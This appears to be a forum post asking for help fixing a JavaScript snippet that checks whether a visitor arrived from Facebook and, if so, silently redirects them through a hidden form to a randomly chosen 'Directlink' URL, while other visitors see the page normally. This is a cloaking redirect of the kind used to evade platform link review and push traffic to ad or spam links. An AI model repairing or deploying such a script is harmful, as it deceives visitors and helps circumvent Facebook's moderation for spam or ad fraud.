@spam I've tried but still can't, can you please help me fix this script
<script>
(function() {
// List of destination URLs
const urls = [
'Directlink',
'Directlink',
'Directlink',
'Directlink',
'Directlink'
];
// Read referer
const referrer = document.referrer;
console.log("Referer:", referrer); // For debugging
// Function to check if the referer comes from Facebook
function isFromFacebook(ref) {
if (!ref) return false;
const facebookDomains = [
'facebook.com',
'www.facebook.com',
'l.facebook.com',
'i.facebook.com',
'I.facebook.com',
'https://facebook.com',
'https://www.facebook.com',
'https://l.facebook.com',
'https://i.facebook.com',
'https://I.facebook.com',
'https://m.facebook.com',
'm.facebook.com'
];
return facebookDomains.some(domain => ref.includes(domain));
}
// If the referrer is from Facebook, redirect
if (isFromFacebook(referrer)) {
// Pick a random URL from the list
const randomUrl = urls[Math.floor(Math.random() * urls.length)];
console.log("Redirecting to:", randomUrl); // For debugging
// Create a hidden form with the referrer submitted
const form = document.createElement('form');
form.method = 'GET';
form.action = randomUrl;
form.style.display = 'none';
// Don't set 'referrerpolicy', so the referrer is sent by default
// Add the form to the document body
document.body.appendChild(form);
// Submit the form to perform the redirect
form.submit();
} else {
console.log("User is not from Facebook. Do not redirect.");
// You can add other actions here if needed
}
})();
</script>